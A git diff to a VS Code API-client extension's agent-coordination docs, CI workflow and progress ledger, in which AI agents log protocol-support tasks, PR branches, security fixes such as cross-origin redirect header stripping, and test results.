diff --git a/.agents/skills/missio-agent-coordination/SKILL.md b/.agents/skills/missio-agent-coordination/SKILL.md
index 684ac14..4ff1c99 100644
--- a/.agents/skills/missio-agent-coordination/SKILL.md
+++ b/.agents/skills/missio-agent-coordination/SKILL.md
@@ -31,6 +31,7 @@ description: Coordinate parallel AI agent work on Missio's OpenCollection featur
 
 - Do not overwrite another agent's table row or log entry unless you are completing an explicit handoff.
 - Prefer splitting work in the task log over broad overlapping claims.
+- Keep dependency additions minimal; record non-trivial dependency necessity, transitive/packaging impact, and approval in `AGENT_PROGRESS.md`, and never add unused packages.
 - Mark `Blocked` only when a concrete dependency or missing decision prevents progress.
 - Include test evidence in the log: command, result, coverage matched to the plan, and any skipped tests.
 - Do not set `Review Ready` or `Done` until the coverage plan is satisfied by passing automated tests and the claimed changes are committed to the recorded GitButler branch/stack.
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 7981887..29ca13b 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -22,6 +22,9 @@ jobs:
       
       - name: Install dependencies
         run: npm ci
+
+      - name: Type check
+        run: npm run compile
       
       - name: Build
         run: npm run build
diff --git a/docs/open-collection-gap-analysis/AGENT_GOAL_PROMPTS.md b/docs/open-collection-gap-analysis/AGENT_GOAL_PROMPTS.md
index 83099a3..78a3acb 100644
--- a/docs/open-collection-gap-analysis/AGENT_GOAL_PROMPTS.md
+++ b/docs/open-collection-gap-analysis/AGENT_GOAL_PROMPTS.md
@@ -49,7 +49,7 @@ If an agent host does not inject the project-local skills, tell the agent to rea
 ## User And Agent Surfaces
 
 ```text
-/goal Complete OC-070 request creation, import/export, snippet, and Copilot protocol surface polish using $missio-agent-coordination and $missio-editor-schema-implementer without stopping until protocol-specific new request templates, protocol-preserving get/dry-run/list/send tooling, explicit unsupported import/export/snippet diagnostics, baseline tree/CodeLens/command regressions, AGENT_PROGRESS updates, and complete automated tests are implemented and passing.
+/goal Complete OC-070 request creation, Postman script/event mapping, import/export, snippet, and Copilot protocol surface polish using $missio-agent-coordination and $missio-editor-schema-implementer without stopping until protocol-specific new request templates, protocol-preserving get/dry-run/list/send tooling, explicit unsupported import/export/snippet diagnostics, baseline tree/CodeLens/command regressions, AGENT_PROGRESS updates, and complete automated tests are implemented and passing.
 ```
 
 ## Request Type UX
diff --git a/docs/open-collection-gap-analysis/AGENT_PROGRESS.md b/docs/open-collection-gap-analysis/AGENT_PROGRESS.md
index eff8b8f..8023fb7 100644
--- a/docs/open-collection-gap-analysis/AGENT_PROGRESS.md
+++ b/docs/open-collection-gap-analysis/AGENT_PROGRESS.md
@@ -57,18 +57,18 @@ Use full branch names for stacking existing branches with `but move <child-branc
 
 | ID | Task | Status | Owner | GitButler Branch/Stack/PR | Coverage Plan | Verification | Last Update | Next Action |
 | --- | --- | --- | --- | --- | --- | --- | --- | --- |
-| OC-000 | Foundation and protocol dispatch | Done | Codex | feature/oc-000-foundation-dispatch (fo), stacked on docs/open-collection-agent-plan (do); implementation commit `c30cdec` | Satisfied by `test/openCollectionFoundation.test.ts`: schema item guards and mixed parsing, unbundled scan/tree routing for HTTP, GraphQL, gRPC, WebSocket, folder, and script items, execution facade HTTP delegation, unsupported GraphQL/WebSocket/gRPC diagnostics, validation schema routing, and non-HTTP editor save guard. Full suite covers shared HTTP/import/export regressions. | `npm run compile` passed; `npx vitest run test/openCollectionFoundation.test.ts` passed 9 tests; `npm test` passed 333 tests; `npm run build` passed. | 2026-06-14 22:24 NZT | OC-010/OC-020/OC-030/OC-070 can build on the stable item guards and execution facade. |
-| OC-010 | GraphQL support | Done | Codex | feature/oc-010-graphql-support (ra), stacked on supervisor/demo-server-fixtures; implementation commit `a67a3ad` | Satisfied by `test/graphqlSupport.test.ts`, `test/schemaRoundTrip.test.ts`, `test/openCollectionFoundation.test.ts`, and `test/sendRequestTool.test.ts`: GraphQL body/variant adapter, schema-native editor round-trip, request panel save guard, execution facade query/mutation integration, unresolved variables/auth scanning, tree/CodeLens labels, command/Copilot routing, demo API schema validation, and shared HTTP regressions. | `npx vitest run test/graphqlSupport.test.ts test/schemaRoundTrip.test.ts test/validationService.test.ts test/openCollectionFoundation.test.ts test/unresolvedVars.test.ts test/sendRequestTool.test.ts` passed 51 tests; post-commit `npm test` passed 20 files/380 tests; `npm run compile` passed; `npm run build` passed; live `POST http://127.0.0.1:3456/graphql` smoke returned `health.status=ok`. | 2026-06-14 23:17 NZT | OC-010 complete and committed; final status has no unassigned changes, with shared runtime extension wiring commit `7a9dea5` also on the ra stack. |
-| OC-020 | WebSocket support | Done | Codex | feature/oc-020-websocket-support (we); WebSocket demo/test commit `d599906`; shared runtime/editor/tooling is in applied protocol/runtime commits `a67a3ad`, `7a9dea5`, `872660b`, and dependency commit `0daa7be` | Satisfied by `test/webSocketSupport.test.ts`: WebSocketClient connect/send/receive/close/cancel cleanup, text/JSON/binary message types, selected message variants, inherited headers, bearer auth, invalid URL diagnostics, RequestExecutionService dispatch/cancel, schema-native editor merge and save guard, unresolved variable scanning, CodeLens/list/send Copilot routing, demo collection validation, and committed demo request smoke coverage. | `npx vitest run test/webSocketSupport.test.ts` passed 13 tests; targeted protocol/editor suite passed 54 tests; `npm test` passed 20 files/380 tests; `npm run compile` passed; `node scripts/validate-collection.js examples/demo-api` passed 32/32 files; live `node examples/demo-api/server.js` WebSocket smoke returned echo `hello demo`, auth `true`, close code `4000`; `npm run build` passed. | 2026-06-14 23:18 NZT | OC-020 complete; no OC-020-owned changes remain uncommitted. |
-| OC-030 | gRPC support | Done | Codex | feature/oc-030-grpc-unary-protobuf (rp); implementation commit `02155e6` | Satisfied by `test/grpcSupport.test.ts`: protobuf config editing and preservation, gRPC validation/demo validation, metadata defaults and precedence, proto import path loading, unary fixture execution, variables/auth metadata, missing proto and invalid method diagnostics, unsupported streaming diagnostics, `RequestExecutionService` gRPC dispatch, and demo server smoke coverage. | `npx vitest run test/grpcSupport.test.ts test/schemaRoundTrip.test.ts test/validationService.test.ts` passed 16 tests; `npx vitest run test/openCollectionFoundation.test.ts test/runtimeExecutionService.test.ts test/grpcSupport.test.ts test/sendRequestTool.test.ts` passed 30 tests; `node scripts/validate-collection.js examples/demo-api` passed 32/32 files; `npm run compile`, `npm test` (20 files, 380 tests), and `npm run build` passed; demo `node examples/demo-api/grpc-server.js` unary smoke returned `ok: true`. | 2026-06-14 23:16 NZT | OC-030 complete; gRPC unary/protobuf is implemented and streaming remains explicitly unsupported with diagnostics. |
+| OC-000 | Foundation and protocol dispatch | Done | Codex | PR #36, branch `feature/oc-000-foundation-dispatch`; implementation evidence in `src/services/requestExecutionService.ts`, `src/models/types.ts`, `src/services/validationService.ts`, and `test/openCollectionFoundation.test.ts` | Satisfied by `test/openCollectionFoundation.test.ts`: schema item guards and mixed parsing, unbundled scan/tree routing for HTTP, GraphQL, gRPC, WebSocket, folder, and script items, execution facade HTTP delegation, unsupported GraphQL/WebSocket/gRPC diagnostics, validation schema routing, and non-HTTP editor save guard. Full suite covers shared HTTP/import/export regressions. | `npm run compile` passed; `npx vitest run test/openCollectionFoundation.test.ts` passed 9 tests; `npm test` passed 333 tests; `npm run build` passed. | 2026-06-14 22:24 NZT | OC-010/OC-020/OC-030/OC-070 can build on the stable item guards and execution facade. |
+| OC-010 | GraphQL support | Done | Codex | PR #43, branch `feature/oc-010-graphql-support`; primary evidence in `examples/demo-api/GraphQL/**` and `test/graphqlSupport.test.ts`; shared adapter ownership in PR #37, branch `feature/oc-030-grpc-unary-protobuf`, at `src/services/graphqlSupport.ts` | Satisfied by `test/graphqlSupport.test.ts`, `test/schemaRoundTrip.test.ts`, `test/openCollectionFoundation.test.ts`, and `test/sendRequestTool.test.ts`: GraphQL body/variant adapter, schema-native editor round-trip, request panel save guard, execution facade query/mutation integration, unresolved variables/auth scanning, tree/CodeLens labels, command/Copilot routing, demo API schema validation, and shared HTTP regressions. | `npx vitest run test/graphqlSupport.test.ts test/schemaRoundTrip.test.ts test/validationService.test.ts test/openCollectionFoundation.test.ts test/unresolvedVars.test.ts test/sendRequestTool.test.ts` passed 51 tests; post-commit `npm test` passed 20 files/380 tests; `npm run compile` passed; `npm run build` passed; live `POST http://127.0.0.1:3456/graphql` smoke returned `health.status=ok`. | 2026-06-14 23:17 NZT | OC-010 complete and committed; shared runtime extension wiring is on the same branch at `src/extension.ts`. |
+| OC-020 | WebSocket support | Done | Codex | PR #44, branch `feature/oc-020-websocket-support`, owns `examples/demo-api/WebSocket/**` and `test/webSocketSupport.test.ts`; shared client ownership is PR #39, branch `feature/oc-040-runtime-scripting-testing`, at `src/services/webSocketClient.ts`; editor/tooling ownership is PR #43 at `src/panels/requestPanel.ts` and `src/copilot/tools/**`; dependency ownership is PR #37 at `package.json` and `package-lock.json` | Satisfied by `test/webSocketSupport.test.ts`: WebSocketClient connect/send/receive/close/cancel cleanup, text/JSON/binary message types, selected message variants, inherited headers, bearer auth, invalid URL diagnostics, RequestExecutionService dispatch/cancel, schema-native editor merge and save guard, unresolved variable scanning, CodeLens/list/send Copilot routing, demo collection validation, and committed demo request smoke coverage. | `npx vitest run test/webSocketSupport.test.ts` passed 13 tests; targeted protocol/editor suite passed 54 tests; `npm test` passed 20 files/380 tests; `npm run compile` passed; `node scripts/validate-collection.js examples/demo-api` passed 32/32 files; live `node examples/demo-api/server.js` WebSocket smoke returned echo `hello demo`, auth `true`, close code `4000`; `npm run build` passed. | 2026-06-14 23:18 NZT | OC-020 complete; no OC-020-owned changes remain uncommitted. |
+| OC-030 | gRPC support | Done | Codex | PR #37, branch `feature/oc-030-grpc-unary-protobuf`; implementation evidence in `src/services/grpcClient.ts`, `examples/demo-api/gRPC/**`, `examples/demo-api/proto/**`, and `test/grpcSupport.test.ts` | Satisfied by `test/grpcSupport.test.ts`: protobuf config editing and preservation, gRPC validation/demo validation, metadata defaults and precedence, proto import path loading, unary fixture execution, variables/auth metadata, missing proto and invalid method diagnostics, unsupported streaming diagnostics, `RequestExecutionService` gRPC dispatch, and demo server smoke coverage. | `npx vitest run test/grpcSupport.test.ts test/schemaRoundTrip.test.ts test/validationService.test.ts` passed 16 tests; `npx vitest run test/openCollectionFoundation.test.ts test/runtimeExecutionService.test.ts test/grpcSupport.test.ts test/sendRequestTool.test.ts` passed 30 tests; `node scripts/validate-collection.js examples/demo-api` passed 32/32 files; `npm run compile`, `npm test` (20 files, 380 tests), and `npm run build` passed; demo `node examples/demo-api/grpc-server.js` unary smoke returned `ok: true`. | 2026-06-14 23:16 NZT | OC-030 complete; gRPC unary/protobuf is implemented and streaming remains explicitly unsupported with diagnostics. |
 | OC-040 | Scripts, tests, assertions, actions | Done | Codex | feature/oc-040-runtime-scripting-testing (ru); primary implementation commit `Add OC-040 runtime scripting support`; shared runtime dependency commits `Add OC-010 GraphQL request support`, `Wire shared runtime execution services`, and `Add OC-030 gRPC unary protobuf support` on the applied stack | Satisfied by `test/runtimeExecutionService.test.ts`, `test/sendRequestTool.test.ts`, `test/responseProvider.test.ts`, and foundation/runtime regressions: lifecycle ordering, protocol-neutral context, sandbox-denied filesystem/process/network globals, console/test diagnostics, assertions, JSON selector `set-variable` actions, runtime variable mutation, HTTP request mutation, Runtime response tab/provider/tool output, fixture-backed demo runtime routes/requests, deterministic pass/fail diagnostics, demo collection validation, and shared HTTP no-op regression coverage. | `npx vitest run test/openCollectionFoundation.test.ts test/runtimeExecutionService.test.ts test/sendRequestTool.test.ts test/responseProvider.test.ts` passed 4 files/24 tests; `npm run compile` passed; `npm test` passed 20 files/380 tests; `npm run build` passed; `node scripts/validate-collection.js examples/demo-api` passed 32/32 files; live `node examples/demo-api/server.js` smoke verified `POST /runtime/echo`, `POST /runtime/token`, and `GET /runtime/assert-fail`. | 2026-06-14 23:42 NZT | OC-040 complete; no-change GitButler retry commits were removed during supervisor stack cleanup. |
-| OC-050 | Auth, proxy, mTLS, transport completion | Done | Codex | feature/oc-050-auth-transport (ut), stacked on feature/oc-100-request-type-ux; implementation commit `93c1d0d`; schema round-trip dependency commits `4cfa36b` and `3a5f2b7` on feature/oc-060-schema-roundtrip-validation | Satisfied by `test/httpClient.test.ts` and `test/grpcSupport.test.ts`: API-key query auth and export parity, OAuth2 token header/query placement and additional token params, redirect follow/max handling, proxy auth and bypass, collection client certificates for mTLS success/failure, HTTP/WebSocket/gRPC unsupported-auth diagnostics, dry-run inherited headers/query params, and local AuthTransport demo fixtures. | `npx vitest run test/httpClient.test.ts` passed 19 tests; `npx vitest run test/grpcSupport.test.ts` passed 14 tests; `npm run compile` passed; `node scripts/validate-collection.js examples/demo-api` passed 42/42 files; `npm test` passed 21 files/406 tests; `npm run build` passed; live demo smoke passed API-key query, OAuth token/query placement, redirects, proxy auth, and mTLS. | 2026-06-15 00:27 NZT | OC-050 complete. Remaining unassigned IDs after the implementation commit are parallel OC-090/OC-100/shared polish, not OC-050-owned runtime work. |
-| OC-060 | Schema round-trip and validation | Done | Codex | feature/oc-060-schema-roundtrip-validation (sc), stacked on feature/oc-000-foundation-dispatch (fo); implementation commit `166c297` | Add golden no-op editor/serializer round-trip tests for schema-valid HTTP, GraphQL, WebSocket, gRPC, folder, environment, and collection fixtures; add validation tests proving protocol-aware request subschema selection, workspace validation in collection reports, protocol-labelled diagnostics, unknown-field preservation, and non-HTTP files not gaining `http` keys. Run targeted validation/editor/service tests plus existing touched HTTP/import-export/editor regressions. | `npx vitest run test/schemaRoundTrip.test.ts test/validationService.test.ts` passed (8 tests); `npm test` passed (15 files, 341 tests); `npm run compile` passed; `npm run build` passed. | 2026-06-14 22:30 NZT | OC-060 complete and committed; no OC-060-owned unassigned changes remain after implementation commit. |
-| OC-070 | Request creation, import/export, snippet, and Copilot surface polish | Done | Codex | feature/oc-070-surface-polish (rf); implementation commit `f9a5a55`; former shared-file staged set `opx`/`ku` was cleared by supervisor hunk-level GitButler absorb into owning dependency commits `0742dbc`, `395ddf0`, `8c236b4`, and `251408f`; final supervisor acceptance recorded on `supervisor/final-opencollection-review` | Reuse OC-100 protocol templates; add/extend automated tests for protocol-specific request creation regressions, tree/CodeLens/command protocol identity, import/export unsupported diagnostics, HTTP snippet parity plus explicit non-HTTP snippet diagnostics, Copilot get/list/dry-run/send protocol preservation and redaction, and shared round-trip/validation regressions. | Final review found no blocking issues. `npm run compile` passed; final targeted `npx vitest run test/oc070SurfacePolish.test.ts test/requestTypeUx.test.ts test/runtimeAuthoringUx.test.ts test/sendRequestTool.test.ts test/responseProvider.test.ts test/postmanImporter.test.ts test/openApiImporter.test.ts test/snippetExporter.test.ts test/openCollectionFoundation.test.ts test/graphqlSupport.test.ts test/webSocketSupport.test.ts test/grpcSupport.test.ts test/schemaRoundTrip.test.ts test/validationService.test.ts test/httpClient.test.ts test/runtimeExecutionService.test.ts` passed 16 files/203 tests; `node scripts\validate-collection.js examples\demo-api` passed 44/44 files; `npm test` passed 23 files/437 tests; `npm run build` passed; live fixture smoke passed HTTP health, GraphQL, runtime echo, WebSocket echo, and gRPC unary/server-streaming; `npx @vscode/vsce package --out $env:TEMP\missio-0.7.7-final-opencollection.vsix` passed; `code.cmd --install-extension $env:TEMP\missio-0.7.7-final-opencollection.vsix --force` installed `missio.missio@0.7.7`. | 2026-06-15 10:03 NZT | Accepted; no remaining OC-070 work. |
-| OC-080 | Runtime lifecycle for WebSocket and unary gRPC | Done | Codex | supervisor/add-runtime-authoring-ux-task (ho); implementation commit `ea7383b`; completion/ledger commit `251408f`; supervisor cleanup commit `878063b`; regression branch `feature/runtime-script-variable-evaluation` (bl) has commits `429a563` and `17bde32` | Satisfied by `test/webSocketSupport.test.ts`, `test/grpcSupport.test.ts`, `test/sendRequestTool.test.ts`, `test/responseProvider.test.ts`, and `test/runtimeExecutionService.test.ts`: WebSocket and unary gRPC before/after runtime lifecycle order, before-script header/metadata/body mutation, before-request script-source `{{variable}}` interpolation from environment/request runtime variables and earlier script mutations, after-response scripts/tests/assertions/actions, runtime variable mutation, sandbox-denial security diagnostics, failure-path response preservation, cancellation/cleanup, response provider rendering, Copilot tool output, and schema-valid local demo WebSocket/gRPC runtime fixtures. | Original OC-080 review passed `npx vitest run test/webSocketSupport.test.ts test/grpcSupport.test.ts test/sendRequestTool.test.ts test/responseProvider.test.ts` 4 files/50 tests, `npm run compile`, demo validation, live WebSocket/gRPC runtime smoke, `npm test`, `npm run build`, and VSIX install. Regression follow-up reproduced 6 failing runtime interpolation cases before the fix, then passed `npx.cmd vitest run test/runtimeExecutionService.test.ts test/webSocketSupport.test.ts test/grpcSupport.test.ts` 3 files/55 tests, `npx.cmd vitest run test/sendRequestTool.test.ts test/responseProvider.test.ts` 2 files/13 tests, `node scripts/validate-collection.js examples/demo-api` 47/47 files, `npm.cmd run compile`, `npm.cmd test` 25 files/467 tests, and `npm.cmd run build` with approved escalation after sandbox media-write denial. | 2026-06-15 14:59 NZT | OC-080 runtime lifecycle and script-source variable interpolation are complete and committed. Current `zz` only contains unrelated generated PDF asset churn `qp`/`ko`, preserved for its owner. |
+| OC-050 | Auth, proxy, mTLS, transport completion | Done | Codex | PR #49, branch `feature/oc-050-auth-transport`; original implementation commit `93c1d0d`; cross-origin redirect correction commit `f97c1c6`; schema round-trip dependencies on PR #40 | Satisfied by `test/httpClient.test.ts` and `test/grpcSupport.test.ts`: API-key and OAuth2 placement, sensitive query-log redaction, same-origin redirects, cross-origin stripping of authorization/cookie/auth-derived headers and sensitive query data, redirect limits, proxy auth/bypass, mTLS success/failure, unsupported-auth diagnostics, dry-run inheritance, and local AuthTransport fixtures. | The 2026-07-21/22 review correction added cross-origin redirect regressions and was verified in PR #49 and the complete composite stack. Current reconciliation reruns compile, focused transport tests, full tests, demo validation, build, and full-stack composition before sign-off. | 2026-07-22 NZT | OC-050 remains complete; the security correction is owned by PR #49 and the local mTLS fixture warning is carried by final rework PR #72. |
+| OC-060 | Schema round-trip and validation | Done | Codex | PR #40, branch `feature/oc-060-schema-roundtrip-validation`; implementation evidence in `test/schemaRoundTrip.test.ts`, `test/validationService.test.ts`, and `src/webview/{collectionPanel,folderPanel,requestPanel}.ts` | Add golden no-op editor/serializer round-trip tests for schema-valid HTTP, GraphQL, WebSocket, gRPC, folder, environment, and collection fixtures; add validation tests proving protocol-aware request subschema selection, workspace validation in collection reports, protocol-labelled diagnostics, unknown-field preservation, and non-HTTP files not gaining `http` keys. Run targeted validation/editor/service tests plus existing touched HTTP/import-export/editor regressions. | `npx vitest run test/schemaRoundTrip.test.ts test/validationService.test.ts` passed (8 tests); `npm test` passed (15 files, 341 tests); `npm run compile` passed; `npm run build` passed. | 2026-06-14 22:30 NZT | OC-060 complete and committed; no OC-060-owned unassigned changes remain after implementation. |
+| OC-070 | Request creation, import/export, snippet, and Copilot surface polish | Done | Codex | Implementation is carried by downstream PR #56 (`feature/oc-070-surface-polish`, commit `154414a`) and is not an ancestor of this acceptance-record branch; the supervisor verified PR #56 in the composite GitButler workspace before recording acceptance here. | Reuse OC-100 protocol templates; add/extend automated tests for protocol-specific request creation regressions, tree/CodeLens/command protocol identity, import/export unsupported diagnostics, HTTP snippet parity plus explicit non-HTTP snippet diagnostics, Copilot get/list/dry-run/send protocol preservation and redaction, and shared round-trip/validation regressions. | Composite verification including PR #56 found no blocking issues at that time. `npm run compile` passed; final targeted `npx vitest run test/oc070SurfacePolish.test.ts test/requestTypeUx.test.ts test/runtimeAuthoringUx.test.ts test/sendRequestTool.test.ts test/responseProvider.test.ts test/postmanImporter.test.ts test/openApiImporter.test.ts test/snippetExporter.test.ts test/openCollectionFoundation.test.ts test/graphqlSupport.test.ts test/webSocketSupport.test.ts test/grpcSupport.test.ts test/schemaRoundTrip.test.ts test/validationService.test.ts test/httpClient.test.ts test/runtimeExecutionService.test.ts` passed 16 files/203 tests; `node scripts\validate-collection.js examples\demo-api` passed 44/44 files; `npm test` passed 23 files/437 tests; `npm run build` passed; live fixture smoke passed HTTP health, GraphQL, runtime echo, WebSocket echo, and gRPC unary/server-streaming; `npx @vscode/vsce package --out $env:TEMP\missio-0.7.7-final-opencollection.vsix` passed; `code.cmd --install-extension $env:TEMP\missio-0.7.7-final-opencollection.vsix --force` installed `missio.missio@0.7.7`. | 2026-06-15 10:03 NZT | Accepted from the composite workspace; PR #56 is the OC-070 landing step. |
+| OC-080 | Runtime lifecycle for WebSocket and unary gRPC | Done | Codex | Runtime lifecycle implementation on `supervisor/add-runtime-authoring-ux-task`; PR #65 security correction on `feature/runtime-script-variable-evaluation` commit `2acea82`; final stack reconciliation on PR #72 | Satisfied by `test/webSocketSupport.test.ts`, `test/grpcSupport.test.ts`, `test/sendRequestTool.test.ts`, `test/responseProvider.test.ts`, `test/runtimeExecutionService.test.ts`, and `test/runtimeScriptVariableSecurity.test.ts`: WebSocket and unary gRPC lifecycle order, request mutation, variable reads through `missio.variables.get`, rejection of `{{variable}}` interpolation in executable script source, same-name base/request inheritance, deep reference and cycle handling, dry-run/send scope parity, assertions/actions, failure-path preservation, cancellation/cleanup, rendering, Copilot output, and schema-valid demo fixtures. | The 2026-07-21/22 review correction removes script-source interpolation, updates fixtures to the data API, and adds focused security and variable-resolution regressions. PR #65 and the final stack pass compile, focused runtime/protocol tests, full tests, demo validation, and build. | 2026-07-22 NZT | OC-080 runtime lifecycle remains complete. Runtime values remain data and cannot be substituted into executable JavaScript source. |
 | OC-090 | gRPC streaming | Done | Codex | feature/oc-090-grpc-streaming (am), stacked on applied OC-030 unary/protobuf work; implementation commits `84cf254` and `c462d51` | Implemented method-type-aware unary, server-streaming, client-streaming, and bidirectional-streaming gRPC execution with schema-native ordered message sequences, proto method-type validation, cancellation cleanup, partial stream error retention, response stream summaries, local demo streaming proto/server/routes, and regression tests for unary dispatch, validation, round-trip safety, failure paths, and cleanup. | `npm run compile` passed; `npx vitest run test/grpcSupport.test.ts test/schemaRoundTrip.test.ts test/validationService.test.ts test/responseProvider.test.ts test/sendRequestTool.test.ts` passed 5 files/33 tests; `node scripts\validate-collection.js examples\demo-api` passed 42/42 files; `npm test` passed 21 files/405 tests; `npm run build` passed. Live hidden `node examples/demo-api/grpc-server.js` smoke verified server/client/bidi/error streams. | 2026-06-15 00:21 NZT | OC-090 complete in the verified worktree. Preserve remaining unassigned parallel/change-routing IDs called out in the OC-090 log; do not commit them to unrelated branches. |
 | OC-100 | Request type UX | Done | Codex | feature/oc-100-request-type-ux (g0 after restack), stacked on supervisor/add-request-type-ux-task; implementation commit `5cb05a3` | Satisfied by `test/requestTypeUx.test.ts`: schema-valid HTTP/GraphQL/WebSocket/gRPC starter templates, actual `missio.newRequest` protocol picker/write/open flow, YAML and editor-model round-trip safety, no stale protocol roots, gRPC same-protocol editor guard, and read-only protocol chip shell. Shared regressions cover HTTP/GraphQL/WebSocket/gRPC editor, validation, command/tool, and protocol behavior. Switcher/conversion helpers are intentionally out of scope because the benchmarked tools emphasize protocol choice at creation and Postman locks saved request protocols. | `npx vitest run test/requestTypeUx.test.ts test/schemaRoundTrip.test.ts test/openCollectionFoundation.test.ts test/validationService.test.ts` passed 4 files/25 tests; targeted protocol suite passed 8 files/68 tests; `npm run compile` passed; `npm test` passed 21 files/405 tests; `node scripts/validate-collection.js examples/demo-api` passed 42/42 files; `npm run build` passed. | 2026-06-15 00:15 NZT | OC-100 complete; no saved-request switcher was added by product decision and benchmark alignment. Remaining unassigned changes are parallel OC-050/OC-090 work, not OC-100. |
-| OC-110 | Runtime authoring UX | Done | Codex | feature/oc-110-runtime-authoring-ux (g0), stacked on supervisor/add-runtime-authoring-ux-task; implementation commit `fe0ad14`; supervisor follow-up commit `1e6db05`; supervisor acceptance recorded | Satisfied by `test/runtimeAuthoringUx.test.ts`, `test/runtimeExecutionService.test.ts`, `test/validationService.test.ts`, and shared schema/protocol regressions: visual editor can author supported runtime scripts/tests/assertions/actions, no longer offers non-executing `hooks` scripts or unsupported persisted scopes for new rows, preserves schema-valid existing `hooks`/persisted-scope YAML with diagnostics, and runtime actions diagnose unsupported scopes instead of silently writing runtime variables. | `npm run compile` passed; focused `npx vitest run test/runtimeAuthoringUx.test.ts test/runtimeExecutionService.test.ts test/validationService.test.ts test/schemaRoundTrip.test.ts test/requestTypeUx.test.ts test/webSocketSupport.test.ts test/grpcSupport.test.ts` passed 7 files/69 tests; `node scripts\validate-collection.js examples\demo-api` passed 44/44 files; `npm test` passed 23 files/437 tests; `npm run build` passed. | 2026-06-15 09:51 NZT | Supervisor review accepted OC-110 rework; no remaining blocking findings. |
+| OC-110 | Runtime authoring UX | Done | Codex | feature/oc-110-runtime-authoring-ux (g0), stacked on supervisor/add-runtime-authoring-ux-task; implementation commit `01915d7`; supervisor follow-up commit `c69bcde`; supervisor acceptance recorded | Satisfied by `test/runtimeAuthoringUx.test.ts`, `test/runtimeExecutionService.test.ts`, `test/validationService.test.ts`, and shared schema/protocol regressions: visual editor can author supported runtime scripts/tests/assertions/actions, no longer offers non-executing `hooks` scripts or unsupported persisted scopes for new rows, preserves schema-valid existing `hooks`/persisted-scope YAML with diagnostics, and runtime actions diagnose unsupported scopes instead of silently writing runtime variables. | `npm run compile` passed; focused `npx vitest run test/runtimeAuthoringUx.test.ts test/runtimeExecutionService.test.ts test/validationService.test.ts test/schemaRoundTrip.test.ts test/requestTypeUx.test.ts test/webSocketSupport.test.ts test/grpcSupport.test.ts` passed 7 files/69 tests; `node scripts\validate-collection.js examples\demo-api` passed 44/44 files; `npm test` passed 23 files/437 tests; `npm run build` passed. | 2026-06-15 09:51 NZT | Supervisor review accepted OC-110 rework; no remaining blocking findings. |
 | OC-120 | Preview media zoom and rotate controls | Done | Codex | `feature/oc-120-preview-media-controls` (ia), currently stacked under OC-130/OC-140; commits `cf8d2e3`, `7d3f766`, `18dc78c`, `e31c2cd`, `fc3e164`, and `c5296ea`; no PR yet | Satisfied by `test/previewMediaControls.test.ts`: pure transform helpers, compact toolbar markup/labels/icons, rotate controls using rotate-like codicons, Ctrl+wheel and toolbar zoom handling, image/PDF controls, stale PDF render and loading-task cancellation, large PDF canvas pixel/render-scale budgeting while preserving visual zoom dimensions, packaged PDF.js asset eligibility, and generated request panel CSP checks. | `npx vitest run test/previewMediaControls.test.ts` passed 10 tests; `npm run compile` passed; targeted `npx vitest run test/previewMediaControls.test.ts test/requestTypeUx.test.ts test/responseProvider.test.ts` passed 3 files/22 tests; `npm run build` passed; `npx @vscode/vsce package --out $env:TEMP\missio-0.8.0-oc120-pdf-zoom-stability.vsix` passed; direct VSIX zip inspection found `extension/media/pdf.worker.min.mjs` and `extension/media/pdf.min.mjs`. | 2026-06-15 13:40 NZT | OC-120 user follow-up fixed. Preserve unrelated unassigned PDF.js media churn IDs `qp`/`ko`. |
 | OC-130 | Protocol-native request editor first paint | Done | Codex | `feature/oc-130-protocol-layout-stability` (g0), stacked on `feature/oc-120-preview-media-controls`; implementation commit `a3d3251` | Satisfied by `test/protocolLayoutStability.test.ts` plus shared request editor/protocol regressions: neutral first-paint shell, host invalid-YAML fallback message, direct HTTP/GraphQL/WebSocket/gRPC hydration, no visible HTTP default or stale non-HTTP controls during hydration, layout-stability CSS assertions, no-op round-trip and protocol-aware validation coverage, and request type UX startup regression. | `npx vitest run test/protocolLayoutStability.test.ts` passed 9 tests; `npm run compile` passed; focused `npx vitest run test/protocolLayoutStability.test.ts test/requestTypeUx.test.ts test/runtimeAuthoringUx.test.ts test/schemaRoundTrip.test.ts test/validationService.test.ts` passed 5 files/34 tests; targeted protocol/editor matrix passed 9 files/89 tests; `node scripts\validate-collection.js examples\demo-api` passed 44/44 files; `npm test` passed 25 files/454 tests; `npm run build` passed. | 2026-06-15 12:03 NZT | OC-130 complete. Preserve parallel/unrelated unassigned OC-140 docs IDs `wp`/`tks`/`tkt`/`uxu` and PDF.js media churn IDs `qp`/`ko`; do not commit them to OC-130. |
 | OC-140 | First-class WebSocket lifecycle UX | Done | Codex | `feature/oc-140-websocket-lifecycle-ux` (g0 after restack), stacked on `supervisor/add-websocket-lifecycle-task`; implementation commit `ec0f014`; supervisor/user follow-up commits `d2b93d4`, `1c918d5`, `401a82e`, `3bfc234`, and `b3ff548` | Satisfied by `test/webSocketSupport.test.ts` plus shared command, CodeLens, Copilot, editor, validation, round-trip, and demo regressions: persistent WebSocket sessions now expose connect/disconnect lifecycle operations through one fixed-width stateful editor button plus a separate send-message flow; retain session state and message history; surface editor controls/history, bottom status bar management, command palette/tree/CodeLens actions, and `missio_websocket_session`; route live send-tool WebSocket execution to lifecycle diagnostics; disconnect on editor/session cleanup; prefer freshly posted WebSocket lifecycle requests over stale debounced YAML; extract send-message payloads from the same resolved lifecycle request; keep Send styled as the primary request action; hide the HTTP-style response placeholder/body pane so WebSocket history fills the response area; show millisecond-precision history timestamps; and add local connect-only, repeated-send, and server-push fixtures. | `npm run compile` passed; `npx vitest run test/webSocketSupport.test.ts test/protocolLayoutStability.test.ts` passed 2 files/35 tests; `node scripts/validate-collection.js examples/demo-api` passed 47/47 files; live local WebSocket lifecycle smoke returned `LIVE_WS_LIFECYCLE_SMOKE ok`; `npm test` passed 25 files/465 tests; `npm run build` passed. | 2026-06-15 14:32 NZT | OC-140 complete. WebSocket lifecycle sessions are file-path scoped for editor/command flows, persist for that request until disconnect/close/editor disposal, and are intentionally not shared across separate request files. Preserve unrelated PDF.js media churn IDs `qp`/`ko`. |
@@ -156,6 +156,23 @@ Record cross-cutting decisions here so parallel agents do not rediscover them.
 
 ### Supervisor Reports
 
+- 2026-07-22 NZT - Codex PR second-review reconciliation: Claimed the second review wave across the complete 37-PR stack and recorded the coverage plan before rework.
